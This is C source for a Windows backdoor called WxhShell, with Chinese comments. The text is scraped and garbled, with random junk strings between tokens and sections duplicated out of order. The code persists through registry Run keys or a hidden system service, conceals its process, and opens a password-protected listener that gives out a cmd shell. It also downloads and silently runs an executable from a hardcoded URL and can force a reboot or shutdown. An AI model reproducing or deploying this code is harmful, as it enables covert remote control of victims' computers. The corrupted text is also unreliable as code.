(GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); q*~gWn>T NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); GY oZ$p" C rPRrx-A if (!NtQueryInformationProcess) return 0; 38[)[{G)Hv H7{Q@D8 hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ,\BVV, if(!hProcess) return 0; )>(L{y|uYX gKmX^A5< if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; GE%2/z p u~" siH CloseHandle(hProcess); UppBnw xj0cgK|! hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); PV?]UUc'n< if(hProcess==NULL) return 0; q:vz?G F0@Qgk]\ HMODULE hMod; \n[
392 char procName[255]; g d z unsigned long cbNeeded; aRbx lkV6qIj if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ,VPbUo@ +p13xc?#j CloseHandle(hProcess); -G8c5b[ VBu8}}Ql if(strstr(procName,"services")) return 1; // 以服务启动 z)5S^{( wb]*u7G
t/ return 0; // 注册表启动 aGpCNc{+ } Hl4\M]]/& ?Q@L-H` // 主模块 `'uUmyg int StartWxhshell(LPSTR lpCmdLine) }ppVR$7]0 { CV s8s SOCKET wsl; *i`v~> BOOL val=TRUE; UE^D2 u int port=0; +AB6lv struct sockaddr_in door; rFhW^fP/ 3AK(dC[ri if(wscfg.ws_autoins) Install(); ?$3r5sx =K .r port=atoi(lpCmdLine); >[a FOA fGb7=Fk if(port<=0) port=wscfg.ws_port; I[ai: mKV'jm0 WSADATA data; 1xz\=HOT if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; [_h%F,_ A \3r3{X
_<` if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; IeVLn^?+: setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); JL.5QzA door.sin_family = AF_INET; NjbwGcH%\ door.sin_addr.s_addr = inet_addr("127.0.0.1"); t)ld<9)eB door.sin_port = htons(port); !(Q l)C nB=0T`vQ if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Y[Es closesocket(wsl); ~uB'3`x return 1; DR6]-j!FK } qh-[L Qu`n& if(listen(wsl,2) == INVALID_SOCKET) { rnu
e(t closesocket(wsl); k_!+V`Ro# return 1; ,*dzJT$k } X:Q$gO?[4 Wxhshell(wsl); gA_krK,Z WSACleanup(); vVAb'`ysv 7$
d}!S return 0; cS}r9gaQ P<u"97@8a } ^|aNG`|O @44P4?; // 以NT服务方式启动 +jtA&1cf VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) " \:ced { &s:=qQa1 DWORD status = 0; @;m$ua*|: DWORD specificError = 0xfffffff; ;`kWpM; W}h|K:-S serviceStatus.dwServiceType = SERVICE_WIN32; X/Y#U\ serviceStatus.dwCurrentState = SERVICE_START_PENDING; GQx9u^> serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 0qv$:w)g+v serviceStatus.dwWin32ExitCode = 0; pW{8R^vKm serviceStatus.dwServiceSpecificExitCode = 0; /&h+t^l_Qj serviceStatus.dwCheckPoint = 0; "x&3Z@q7 serviceStatus.dwWaitHint = 0; ?vu_k 'io L~dC(J)@ZI hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); )Pli}) if (hServiceStatusHandle==0) return; vBNZ<L\|a }~Q5Y3]#~ status = GetLastError(); 5 [4Z=RP if (status!=NO_ERROR) XrS\+y3 { L,~MicgV serviceStatus.dwCurrentState = SERVICE_STOPPED; o 7G> y#Y serviceStatus.dwCheckPoint = 0; f jI #- serviceStatus.dwWaitHint = 0; Wr>(#*r7q serviceStatus.dwWin32ExitCode = status; pCC 7(Ouo serviceStatus.dwServiceSpecificExitCode = specificError; 4\p-TPM SetServiceStatus(hServiceStatusHandle, &serviceStatus); x l0DN{PG return; .Pw%DZ' }
-4flV D ;xK_qBIP serviceStatus.dwCurrentState = SERVICE_RUNNING; /)9W1U^B serviceStatus.dwCheckPoint = 0; ,)h)5o(? serviceStatus.dwWaitHint = 0; B!b sTvX if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); B
wC+ov= } JRO$< pUCK-rL // 处理NT服务事件,比如:启动、停止 (KTnJZ VOID WINAPI NTServiceHandler(DWORD fdwControl) ioV_oR9I { <C<`J{X0 switch(fdwControl) iq6a|XGi { 6z?gg3GV case SERVICE_CONTROL_STOP: ~O:
U|& serviceStatus.dwWin32ExitCode = 0; |)o#|Qo
serviceStatus.dwCurrentState = SERVICE_STOPPED; t};~H\: serviceStatus.dwCheckPoint = 0; TJaeQqob serviceStatus.dwWaitHint = 0; sS!w}o2X { $
[7 Vgs SetServiceStatus(hServiceStatusHandle, &serviceStatus); k=/eM$": } g{>^`JtP return; 5+P@sD case SERVICE_CONTROL_PAUSE: H{V)g serviceStatus.dwCurrentState = SERVICE_PAUSED; VXm[- break; wqD5d
case SERVICE_CONTROL_CONTINUE: +;q.Y? serviceStatus.dwCurrentState = SERVICE_RUNNING; Pl+xH%U+? break; #U=;T]!'$ case SERVICE_CONTROL_INTERROGATE: \t3qS
eWc/ break; *
OsU Y=; }; |NrrTN?> SetServiceStatus(hServiceStatusHandle, &serviceStatus); 0xpx(T[ } TfRGA(+# ^Y04qeRd // 标准应用程序主函数 Ht[{ryTxu int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) :?CQuEv- { ?_q+&)4-o 9<s4yZF@x // 获取操作系统版本 ~]WVG@- OsIsNt=GetOsVer(); ,P6=~q3k GetModuleFileName(NULL,ExeFile,MAX_PATH); aMK~1]Cx V5"HwN+` // 从命令行安装 dqe7s Zl! if(strpbrk(lpCmdLine,"iI")) Install(); X=~V6m Ct]A%=cZW // 下载执行文件 Y )b@0' if(wscfg.ws_downexe) { ZPO|<uR if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 7*s8ttX WinExec(wscfg.ws_filenam,SW_HIDE); R Fko>d } "Xn%at4 9"sDm}5% if(!OsIsNt) { 0a2@b"l // 如果时win9x,隐藏进程并且设置为注册表启动 cDV^8 R HideProc(); $h28(K% StartWxhshell(lpCmdLine); "0&N} } (/h5zCc/v else w([$@1] if(StartFromService()) sR=/%pVN // 以服务方式启动
k0H#:c} StartServiceCtrlDispatcher(DispatchTable); z.)p
P'CJo else P<;7j? // 普通方式启动 ?KWj}|% StartWxhshell(lpCmdLine); *'R#4@wmP mlu 3K return 0; ~
3T,&?r } &L4
q10-N J]pa4C` lKV"Mh+6 ULBg{e?l8 =========================================== UQT'6* ! .q;ED`G Hl7:*]l7b ijUzC>O+q :&VcB$ z4M1D9iPY " ftZj}|R! w'ybbv{c #include <stdio.h> =AOWeLk*G #include <string.h> Xl%0/o #include <windows.h> IFuZ]CBz #include <winsock2.h> IA*KaX2S< #include <winsvc.h> x?r1s#88> #include <urlmon.h> K7`YJp`i P $>` #pragma comment (lib, "Ws2_32.lib") S~F` #pragma comment (lib, "urlmon.lib") 7#-y-B]l :w-`PYJ%G #define MAX_USER 100 // 最大客户端连接数 Jb(Y,LO^ #define BUF_SOCK 200 // sock buffer 6C-YyI#s# #define KEY_BUFF 255 // 输入 buffer $=aI"(3& SR7j\1a/2A #define REBOOT 0 // 重启 Fu _@!K
#define SHUTDOWN 1 // 关机 #a9_~\s |3eGz%Sd #define DEF_PORT 5000 // 监听端口 OX hAha`R TbhH&kG)1 #define REG_LEN 16 // 注册表键长度 c^.l2Q! #define SVC_LEN 80 // NT服务名长度 =-jD~rN4;P N$ alUx* // 从dll定义API O/OiQ^T typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); py<_HyJ typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); \2X$C#8E typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); n:#TOU1ix< typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); F0dI/+ 3$p#;a:=n // wxhshell配置信息 Utt>H@t[ struct WSCFG { i~yX tya int ws_port; // 监听端口 (#Mp 5C'X char ws_passstr[REG_LEN]; // 口令 ;b%{ilx: int ws_autoins; // 安装标记, 1=yes 0=no A7-r<s char ws_regname[REG_LEN]; // 注册表键名 <94G char ws_svcname[REG_LEN]; // 服务名 *\XH+/]+ char ws_svcdisp[SVC_LEN]; // 服务显示名 RtV.d\ char ws_svcdesc[SVC_LEN]; // 服务描述信息 8^yJqAXK char ws_passmsg[SVC_LEN]; // 密码输入提示信息 .y4&rF$n int ws_downexe; // 下载执行标记, 1=yes 0=no ?nFO:N< char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" "mIgs9l$ char ws_filenam[SVC_LEN]; // 下载后保存的文件名 BBL485` pGWA\}' }; ff cLuXa @}LZ! y // default Wxhshell configuration KL3<Iz] struct WSCFG wscfg={DEF_PORT, ]]uHM}l "xuhuanlingzhe", l";'6;g 1, lZ+!H=` "Wxhshell",
<!'M} s "Wxhshell", x:z0EYL "WxhShell Service", WjMRH+ "Wrsky Windows CmdShell Service", t#b0H)
"Please Input Your Password: ", .p@N:)W6 1, <,8l *1C "http://www.wrsky.com/wxhshell.exe", 2qj{n+ "Wxhshell.exe" 4A.Q21s }; VcgBLkIF m *X7T // 消息定义模块 -l*g~7|j char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ae`|ic char *msg_ws_prompt="\n\r? for help\n\r#>"; UQ8bN I7 char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Omyt2`q char *msg_ws_ext="\n\rExit."; IF_D Z char *msg_ws_end="\n\rQuit."; \7 a4uc char *msg_ws_boot="\n\rReboot..."; J)x3\[}Ye char *msg_ws_poff="\n\rShutdown..."; Tj`5L6N;8 char *msg_ws_down="\n\rSave to "; ;+_8&wbqW JdNF-64ky char *msg_ws_err="\n\rErr!"; bI
ITPxz char *msg_ws_ok="\n\rOK!"; _
Jc2&(; <n0{7#PDqw char ExeFile[MAX_PATH]; hU {-a` int nUser = 0; yfe'>]7 HANDLE handles[MAX_USER]; %%}A|, int OsIsNt; ^gR+S &=q! Wdw~ SERVICE_STATUS serviceStatus; _a
-]?R SERVICE_STATUS_HANDLE hServiceStatusHandle; {BV4h%P]: XB\zkf_}Xc // 函数声明 tJZc/]%`H int Install(void); d/U."V} int Uninstall(void); p+w8$8) int DownloadFile(char *sURL, SOCKET wsh); z@h~Vb&I int Boot(int flag); s3 QEi^~ void HideProc(void); "^rNr_ int GetOsVer(void); wyY*:{lZ int Wxhshell(SOCKET wsl); !~ rt:Z void TalkWithClient(void *cs); 4u1KF:g int CmdShell(SOCKET sock); isK;mU?< int StartFromService(void); ~brFo2 int StartWxhshell(LPSTR lpCmdLine); pB01J<@m QZYU0;
VF VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); *Xr$/N VOID WINAPI NTServiceHandler( DWORD fdwControl ); zK5bO=0j .{so // 数据结构和表定义 }C#3O{5 SERVICE_TABLE_ENTRY DispatchTable[] = oyeG$mpg { YD_]!HK} {wscfg.ws_svcname, NTServiceMain}, %'ZN`XftG {NULL, NULL} < o I8-f }; AXW!]=?X Ot9V< D6h // 自我安装 &O1v,$}' int Install(void) RUXCq`)"< { f(Hu {c5yV char svExeFile[MAX_PATH]; ltA/ HKEY key; w]!0< strcpy(svExeFile,ExeFile); $@uU@fLB 1y[B[\ // 如果是win9x系统,修改注册表设为自启动 ?U9 /fl if(!OsIsNt) { v '9m7$ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ])T/sO#' RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); C1B'#F9EO RegCloseKey(key); n9oR)&:o if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Y1\K;;X RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); {B{i(6C( RegCloseKey(key); j\2[H^
return 0; n["
9| } Cvn$]bt/s } 2p< Aj! } vrIV%l= else { 2*OxA%QELM 8z T0_vw // 如果是NT以上系统,安装为系统服务 &3DK^|Lq SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); x)viY5vjH if (schSCManager!=0) I:;+n^N? { ]b1Li} SC_HANDLE schService = CreateService .Q\\dESn" ( Pes =aw schSCManager, 'mV:@].le wscfg.ws_svcname, q627< wscfg.ws_svcdisp, e}"wL g] SERVICE_ALL_ACCESS, J r*"V` SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , A7Y_HIo SERVICE_AUTO_START, -!dQ)UEP SERVICE_ERROR_NORMAL, (F&YdWe: svExeFile, =,:K) NULL, !Q)3-u NULL, BKb<2 NULL, #PAU'u
3{/ NULL, (!</%^ZI NULL \E
hr@g ); {;n0/
if (schService!=0) DY3:#X`4 { n|KKby.$ CloseServiceHandle(schService); qgexb\x\4 CloseServiceHandle(schSCManager); e\N0@ strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); -9&g[ strcat(svExeFile,wscfg.ws_svcname); ]|LgVXEpx if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { z8iENECwj RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 14l; * RegCloseKey(key); yT:!%\F9 return 0; K51fC4'{ } RVF F6N^ } R^tcr)( CloseServiceHandle(schSCManager); /hci\-8N~ } ?5~!i9pY } s]x2DH+_ 9d\N[[Vu]R return 1; L82NP)St } x#
8IZ h48 bb.p2 // 自我卸载 E .;io*0 int Uninstall(void) !-(J-45 { {B^pnLc HKEY key; kI+b <$:D >hb-5xC if(!OsIsNt) { 0/Q5d,'Y[2 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 'j#a%j@{ RegDeleteValue(key,wscfg.ws_regname); \+]O*Bm&`8 RegCloseKey(key); b|wWHNEdb, if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { o*_g$ RegDeleteValue(key,wscfg.ws_regname); ~@fanR = RegCloseKey(key); OqEHM%j return 0; RKk" } &kx\W) } .tp=T } .v
l="< else {
p
JX, n v=Mz I#0L SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Ar5JP_M`E if (schSCManager!=0) <PQRd { Q9q9<J7j$ SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); K#)bjxz if (schService!=0) k4mTZ}6E { _z%\'(l+ if(DeleteService(schService)!=0) { GfNWP CloseServiceHandle(schService); h@Dw'w CloseServiceHandle(schSCManager); W_D%|Ub2X return 0; u]#8$M2 } d<?X3&J CloseServiceHandle(schService); #tP )-ww } Iq@IUFpc7~ CloseServiceHandle(schSCManager); 44|03Ty } 6\mC$: F } ASM1Y]'Z .lG+a!) return 1; _!;\R7] } hhj
,rcsi J{x##p<F$ // 从指定url下载文件 cuNq9y;[ int DownloadFile(char *sURL, SOCKET wsh) >rRjm+vg { lmp
R>@o" HRESULT hr; =ZrjK=K char seps[]= "/"; NN*Sb J0 char *token; >oB ? char *file; :n`0)g[( char myURL[MAX_PATH]; b@F_7P% char myFILE[MAX_PATH]; <H_LFrB$W WMA*.$Zi strcpy(myURL,sURL); `|NevpXY1 token=strtok(myURL,seps); "mG!L$ while(token!=NULL) A1 b6Zt { X)Ocn`| file=token; ~Gwas0eNa token=strtok(NULL,seps); `F@f?*s: } yT 2vO_rH "rf\' 9= GetCurrentDirectory(MAX_PATH,myFILE); 3XBp6` strcat(myFILE, "\\"); Wd1 IX^7C% strcat(myFILE, file); Z#[>N,P send(wsh,myFILE,strlen(myFILE),0); ),)Q{~&` send(wsh,"...",3,0); {<~s&EPd hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); W *|OOa' if(hr==S_OK) =b|)Wnt2f return 0; BD?F`%-x else J$<:/^t return 1; ,at-ci\' <"{+ } 5auL<Pq }]Qmt5'NI // 系统电源模块 >DkN+S int Boot(int flag) bmSpbX\ { <w%Yq?^ HANDLE hToken; sCL/pb] TOKEN_PRIVILEGES tkp; Yoj~|qL >^sz5d+X if(OsIsNt) { aB7d( OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); XC57];- LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); U8Cw7u2 tkp.PrivilegeCount = 1; pC55Ec< tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; lxr@[VQ AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 1\=pPys) if(flag==REBOOT) { R20a(4m if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) `W
D*Q-&n return 0; @m }rQT } {8ld:ZP else {
zd.1 if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) EgkZ$ah return 0; Y^T-A}?` } k?z
[hZg0 } B6^w{eXN else { %kaTQ"PB if(flag==REBOOT) { aEV|>K=6Y' if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) n">?LN-DC return 0; bEEJV F0 } ^p'D <!6sK else { F%Ro98?{ if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) _+0uju?o} return 0; eimA *0Cq } ".Tf<F } "`y W]v
m,xy4 return 1; *S,v$ VX } |% la rin >r0o // win9x进程隐藏模块 }7f 1(#{7 void HideProc(void) S"I#>^ { xP<H,og&x= KE&InTM/j HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); tr#)iZ\ if ( hKernel != NULL ) Cnb[t[hk+j { @$K![]oD pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ;7B2~zL ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); l{B<"+8 FreeLibrary(hKernel); )dUd `g } ;+aDjO2( PprQq_j return; /zDSlj<c } YA1{-7'Q ]JhDRJ\ // 获取操作系统版本 7%~VOB int GetOsVer(void) Q{(,/}kA- { '_Hb}'sFI OSVERSIONINFO winfo;
b{9HooQ{ winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); $j$\ccG GetVersionEx(&winfo); !>"INmz if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) f@,hO5h(_| return 1; >TH-Q[ else c +"O\j' return 0; {VrAh*#h
} .q~,.yI&j #b<lt'gC // 客户端句柄模块 T-<> )N5y int Wxhshell(SOCKET wsl) uv_P{%TK { s%0[DO3NV SOCKET wsh; g,{Ei]$>I struct sockaddr_in client; ={wjeRp DWORD myID; O(:u( U7e U)T/.L{0i while(nUser<MAX_USER) JXRmu~W~l { :IOn`mRYu int nSize=sizeof(client); Nys'4kx7 wsh=accept(wsl,(struct sockaddr *)&client,&nSize); &T|UAM. if(wsh==INVALID_SOCKET) return 1; tCF0Ah T`(;;% handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); B 7x"ef if(handles[nUser]==0) EeF n{_ closesocket(wsh); }]Z,\lA else 'J&@jp nUser++; x u\/]f) } Kuzy&NI^w WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); &6~ncQWu &].1[&M] return 0; =Un 6|] } &<[]X@ bY qjdahVY // 关闭 socket cl9;2D"Zm! void CloseIt(SOCKET wsh) qH}62DP3 { R`<{W(J;r closesocket(wsh); $`+~QR!h nUser--; BGk<NEzH ExitThread(0); 2EI m } 7\|NYT4 GoZJDE3 // 客户端请求句柄 gIf+.^/m1 void TalkWithClient(void *cs) IhFw {=2* { NnSI)*%' h<z/LL8| SOCKET wsh=(SOCKET)cs; *+1"S ]YF char pwd[SVC_LEN]; u9y-zhj_$ char cmd[KEY_BUFF]; SE7 (+r char chr[1]; d}6AHS[ int i,j; Ltq*Vcl\ |Jx2"0:M while (nUser < MAX_USER) { ybuSqFy`$ /F if(wscfg.ws_passstr) { |M{,}.*CU if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ysw6hVb //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 'yAoZ P\| //ZeroMemory(pwd,KEY_BUFF); $SD@D6`lL i=0; ~{]m8a/ `6 while(i<SVC_LEN) { 28ov+s~1+- {)dEO0 p // 设置超时 4UX]S\X fd_set FdRead; p%YvP struct timeval TimeOut; +~v3D^L15 FD_ZERO(&FdRead); 5qAE9G!c FD_SET(wsh,&FdRead); 2H32wpY
,l TimeOut.tv_sec=8; 9FR1Bruf TimeOut.tv_usec=0; +'6ea+$ int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Z_ FL=S\ if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); HT;QepY3 U Y?]\4Om if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); D;;o pwd=chr[0]; j]]ziz,E if(chr[0]==0xd || chr[0]==0xa) { :."n@sA@ pwd=0; ,`B>} break; ^`PSlT3<F } 2/<WWfX' i++; ;V(}F!U\z }
'Q;?_,` k=q%FlE // 如果是非法用户,关闭 socket `OpC-Z& if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ObHz+qRG } 9#$V1(}? o dQ&0d send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); :?of./Df| send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); WaZ@ w<^2h}5 while(1) { %:8q7PN| Fn0LE~O}-8 ZeroMemory(cmd,KEY_BUFF); *ytd.^@r )T~ +>+t // 自动支持客户端 telnet标准 =R8.QBVdN j=0; sMpC4E while(j<KEY_BUFF) { #__'U6`( if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); '~x_ cmd[j]=chr[0]; {
'mY>s7 if(chr[0]==0xa || chr[0]==0xd) { )-Sl/G cmd[j]=0; vkauX:M break; 4lo}-@j } *V<2\- j++; 6'lT`E| } t6>Qe SvpTs // 下载文件 F#C 6.`B if(strstr(cmd,"http://")) { U JRT4>G send(wsh,msg_ws_down,strlen(msg_ws_down),0); _ . if(DownloadFile(cmd,wsh)) `0gK;D8t send(wsh,msg_ws_err,strlen(msg_ws_err),0); WOTu"Yj else Env}g CX send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Qmh(+-Mp( } LCm}v&~%A else { QMfy^t+I *gMP_I switch(cmd[0]) { j`-y"6) MicVNs // 帮助 KKTfxNxJn case '?': { WiCM,wDi send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 4Fc1' break; ?g1.-' } DB=cc // 安装 #3ro?w case 'i': { _EBDv0s if(Install()) lkJ#$Ik& send(wsh,msg_ws_err,strlen(msg_ws_err),0); Vy"^]5 else G Z[5m[ send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); x/q$RcDOm break; jc.Uh9Kc } dM;WG;8e // 卸载 ^RDXX+ case 'r': { 42[:s: if(Uninstall()) -Ce4px?3 send(wsh,msg_ws_err,strlen(msg_ws_err),0); @z?.P;f9# else @x>2|`65Y send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); @V
CQ4X7T break; ^)]*10 } ${:$jX[ // 显示 wxhshell 所在路径 (ZR"O8 case 'p': { SPm5tU char svExeFile[MAX_PATH]; s~ZC!- [; strcpy(svExeFile,"\n\r"); aV%rq9Tp strcat(svExeFile,ExeFile); *LQY6=H send(wsh,svExeFile,strlen(svExeFile),0); L6}x3 break; ?mUu(D:7D } Uwil*Jh // 重启 o5A_j?t case 'b': { ![C$H5 send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); xb_:9 if(Boot(REBOOT)) a^1c _ send(wsh,msg_ws_err,strlen(msg_ws_err),0); I*ni )Px else { rKO*A7vE closesocket(wsh); %QZ!Tb ExitThread(0); Ln
-?/[E } ~ab_+% break; 9
3I9`!e } $?Mz[X // 关机 M!i5StGC case 'd': { -H;y_^2 send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); h>Pg:*N,( if(Boot(SHUTDOWN)) $
T_EsnN send(wsh,msg_ws_err,strlen(msg_ws_err),0); u(a&x|WY else { 6?x{-Zj^? closesocket(wsh); vrDRSc6_ ExitThread(0); < tq9 } 2g545r. break; >mltE$| } #I wB // 获取shell /Day5\Q# case 's': { *}&aK}h}I CmdShell(wsh); (6^k;j closesocket(wsh); ZKL%rp_ ExitThread(0); NUtyUv break; ~n
9DG>a } T+"y8#: // 退出 EqluxD= case 'x': { 1/BMs0 = send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); nU *fne? CloseIt(wsh); `3n*4Lz break; G* 6<pp } K9Fnb6J$u // 离开 LK5H~FK case 'q': { a][Z;g send(wsh,msg_ws_end,strlen(msg_ws_end),0); :*nBo closesocket(wsh); ,99G2Ev4c WSACleanup(); =^M t#h." exit(1); j06oAer 9 break; Z9^$jw] } B K;w!] } dG$0d_Pq } }d]8fHG wpI4P: // 提示信息 (%!R if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); m(P)oqwM } c!T{|'? } sn#h=,*4` Al]9/ML/m return; #|i{#~gxM } 4BtdN-T}b ]~ M
-KT // shell模块句柄 L?(rv.lb int CmdShell(SOCKET sock) l[| e3<H { mjHY-lK STARTUPINFO si; A UV$ S2 ZeroMemory(&si,sizeof(si)); ^w\uOd` si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; A6L}5#7- si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; UQ~rVUo.c PROCESS_INFORMATION ProcessInfo; =h;!# ZC char cmdline[]="cmd"; Q(3x"+ CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); zl?N1>KS return 0; E9hWn0 e } !Esiq<Yh dY.uOafr // 自身启动模式 KJfyh=AD( int StartFromService(void) {`Z)'G\` { Oc`fQqYy typedef struct B E)l77=/ { t_Wn<)XA DWORD ExitStatus; o3kj7U:'x DWORD PebBaseAddress; 20)Il:x DWORD AffinityMask; #!Fs[A5% DWORD BasePriority; [\yI<^_a ULONG UniqueProcessId; d:''qgz` ULONG InheritedFromUniqueProcessId; i=+6R } PROCESS_BASIC_INFORMATION; I:"`|eHxv AK =k@hT PROCNTQSIP NtQueryInformationProcess; @=c='V] Nb1lawC static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ')V5hKb^ static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; -y(V- B=Os?'2[ HANDLE hProcess; 0]~n8mB> PROCESS_BASIC_INFORMATION pbi; .Ps;O ^D|c HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Yw<:I& if(NULL == hInst ) return 0; i=T/}c)
]FBfh.#X@ g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); c`QsKwa g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); U\{Z{F%8 NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ENzeVtw0 =qvU9p2o if (!NtQueryInformationProcess) return 0; $u
sU xWm'E2 hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); H5{J2M,f if(!hProcess) return 0; wSMgBRV#^ CHB{P\WF if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; bJD"&h5 HvTQycG CloseHandle(hProcess); d6VKUAk'7> |T%/d#b~ hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); |&Q=9H*e if(hProcess==NULL) return 0; {cA )jW\' L8J/GVmj HMODULE hMod; K3^2R-3:8 char procName[255]; CmZ?uo+Y unsigned long cbNeeded; @\R)k(F ^-_!:7TH] if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); (XH)1 -Z! f@mM&e=f CloseHandle(hProcess); {UN z UaE b4wJnmC8 if(strstr(procName,"services")) return 1; // 以服务启动 7>LhXC J:(l& return 0; // 注册表启动 67eo~~nUtg } L"a#Uu8 L%"Mp(gZ // 主模块 C@-JH\{\T# 